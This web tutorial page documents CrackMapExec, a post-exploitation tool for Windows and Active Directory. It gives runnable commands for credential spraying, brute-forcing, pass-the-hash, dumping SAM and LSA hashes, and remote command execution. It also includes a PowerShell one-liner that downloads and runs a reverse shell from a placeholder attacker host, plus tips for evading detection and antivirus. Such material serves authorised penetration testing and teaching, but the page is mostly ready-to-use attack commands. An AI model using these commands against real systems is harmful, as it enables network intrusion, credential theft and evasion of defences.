crackmapexec: Post-exploitation and penetration testing tool

crackmapexec: Post-exploitation and penetration testing tool

CrackMapExec (CME) is a powerful post-exploitation tool designed for assessing the security of Windows and Active Directory environments. It automates common penetration testing tasks, including credential testing, lateral movement, and privilege escalation.


What is CrackMapExec?

CrackMapExec is a Swiss Army knife for red teams and penetration testers working in Active Directory environments. It leverages protocols like SMB, MSSQL, WinRM, RDP, LDAP, and SSH to perform various attacks, including:

  • Credential spraying
  • Password brute-forcing
  • Lateral movement
  • Privilege escalation
  • Dumping credentials (LSASS, SAM, LSA)
  • Session management

How CrackMapExec Works

CME uses valid credentials (or brute-forced ones) to interact with remote systems via different protocols:

  • SMB: Enumerate shares, execute commands, dump hashes.
  • WinRM: Execute PowerShell commands remotely.
  • MSSQL: Execute SQL queries, spawn shells.
  • LDAP: Query Active Directory for users, groups, and other objects.
  • RDP: Check for access and perform brute-forcing.

It is designed to be stealthy, avoiding detection by logging minimal events.


Installation

On Kali Linux (Official Repo)

Bash
sudo apt update && sudo apt install crackmapexec

From Source (Latest Version)

Bash
git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec
pip install .

Dependencies

  • Python 3.9+
  • Impacket (pip install impacket)
  • Other required packages (installed automatically if using pip)

Basic Usage Examples

General Syntax

Bash
crackmapexec <protocol> <target(s)> -u <user> -p <password> [options]

Example 1: Check SMB Access

Bash
crackmapexec smb 192.168.1.0/24 -u admin -p P@ssw0rd
  • Checks which hosts accept the credentials admin:P@ssw0rd over SMB.

Example 2: Brute-Force Credentials

Bash
crackmapexec smb 192.168.1.100 -u users.txt -p passwords.txt
  • Tests combinations of usernames (users.txt) and passwords (passwords.txt).

Example 3: Execute a Command

Bash
crackmapexec smb 192.168.1.100 -u admin -p P@ssw0rd -x "whoami"
  • Runs whoami on the target machine.

Example 4: Dump SAM Hashes

Bash
crackmapexec smb 192.168.1.100 -u admin -p P@ssw0rd --sam
  • Retrieves local user hashes from the SAM database.

5. Advanced Usage

Pass-the-Hash (PtH) Attack

Bash
crackmapexec smb 192.168.1.100 -u admin -H NTLM_HASH --local-auth
  • Uses an NTLM hash instead of a plaintext password.

Kerberos Authentication

Bash
crackmapexec smb 192.168.1.100 -u admin -p P@ssw0rd -k
  • Authenticates using Kerberos (requires valid domain credentials).

MSSQL Command Execution

Bash
crackmapexec mssql 192.168.1.100 -u sa -p sqlpassword -q "SELECT name FROM master..sysdatabases"
  • Executes a SQL query.

LDAP Enumeration

Bash
crackmapexec ldap 192.168.1.100 -u admin -p P@ssw0rd --users
  • Lists all users in the domain.

Spawning a Shell

Bash
crackmapexec winrm 192.168.1.100 -u admin -p P@ssw0rd -X "powershell -nop -c \"IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')\""
  • Executes a PowerShell reverse shell.

Command-Line Options

OptionDescription
-u, --userUsername or file containing usernames
-p, --passwordPassword or file containing passwords
-H, --hashNTLM hash for Pass-the-Hash
-d, --domainDomain name
-M, --moduleLoad a CME module (e.g., -M mimikatz)
-x, --executeExecute a command
-X, --ps-executeExecute a PowerShell command
--samDump SAM hashes
--lsaDump LSA secrets
--sharesEnumerate SMB shares
--sessionsList active sessions
--loggedon-usersList logged-on users
--local-authAuthenticate locally (not via domain)
-k, --kerberosUse Kerberos authentication

Supported Protocols

1. SMB (Server Message Block)

  • Used for file sharing, remote command execution, and credential attacks.
    Example:
Bash
crackmapexec smb 192.168.1.0/24 -u admin -p P@ssw0rd --shares
  • Enumerate SMB shares across a subnet.

2. WinRM (Windows Remote Management)

  • Executes PowerShell commands remotely.
    Example:
Bash
crackmapexec winrm 192.168.1.100 -u admin -p P@ssw0rd -X "whoami"
  • Runs whoami via WinRM.

3. SSH (Secure Shell)

  • Tests SSH credentials and executes commands.
    Example:
Bash
crackmapexec ssh 192.168.1.100 -u root -p password -x "id"
  • Runs id on a Linux/Unix system.

4. FTP (File Transfer Protocol)

  • Checks FTP credentials and uploads/downloads files.
    Example:
Bash
crackmapexec ftp 192.168.1.100 -u admin -p P@ssw0rd
  • Tests FTP login.

5. RDP (Remote Desktop Protocol)

  • Checks if credentials work for RDP.
    Example:
Bash
crackmapexec rdp 192.168.1.100 -u admin -p P@ssw0rd
  • Verifies RDP access (does not establish a full session).

6. MSSQL (Microsoft SQL Server)

  • Executes SQL queries or commands.
    Example:
Bash
crackmapexec mssql 192.168.1.100 -u sa -p sqlpassword -q "SELECT name FROM master..sysdatabases"
  • Lists all databases.

7. LDAP (Lightweight Directory Access Protocol)

  • Queries Active Directory for users, groups, and policies.
    Example:
Bash
crackmapexec ldap 192.168.1.100 -u admin -p P@ssw0rd --users
  • Lists all domain users.

Practical Use Cases

1. Thread Control (-t)

  • Scenario: Fast scanning without overwhelming the network.
Bash
crackmapexec smb 192.168.1.0/24 -u user -p pass -t 20
  • Limits to 20 threads for stealth.

2. Jitter (--jitter)

  • Scenario: Avoid detection by adding random delays.
Bash
crackmapexec smb 192.168.1.0/24 -u user -p pass --jitter 3
  • Adds 0-3 seconds delay between attempts.

3. Timeout (--timeout)

  • Scenario: Skip unresponsive hosts quickly.
Bash
crackmapexec smb 192.168.1.0/24 --timeout 2
  • Drops hosts not responding within 2 seconds.

4. Verbose Mode (--verbose)

  • Scenario: Debug connection issues.
Bash
crackmapexec smb 192.168.1.100 -u admin -p wrongpass --verbose
  • Shows detailed errors (e.g., “LOGIN_FAILURE”).

Real-World Use Cases

  1. Internal Penetration Testing

    • Test credentials across multiple machines.
    • Identify misconfigurations (e.g., exposed SMB shares).
  2. Red Team Operations

    • Move laterally using Pass-the-Hash.
    • Dump credentials for privilege escalation.
  3. Active Directory Auditing

    • Find stale accounts, weak passwords.
    • Check for excessive privileges.
  4. Post-Exploitation

    • Execute Mimikatz in memory (-M mimikatz).
    • Establish persistence via scheduled tasks.

Troubleshooting Tips

  • “Connection Failed” Errors

    • Check if the target service (SMB/WinRM) is running.
    • Verify network connectivity (ping, nmap).
  • Authentication Issues

    • Ensure credentials are correct.
    • Use --local-auth if targeting local accounts.
  • Module Errors

    • Update CME (git pull).
    • Reinstall dependencies (pip install -r requirements.txt).
  • Firewall/AV Detection

    • Use stealthy modules (-M inveigh for LLMNR poisoning).
    • Obfuscate commands (-X with encoded PowerShell).

Total
0
Shares

Leave a Reply

Previous Post
thc-pptp-bruter: Cracks PPTP VPN logins

thc-pptp-bruter: Cracks PPTP VPN logins

Next Post
evil-winrm: Remote administration tool for Windows

evil-winrm: Remote administration tool for Windows

Related Posts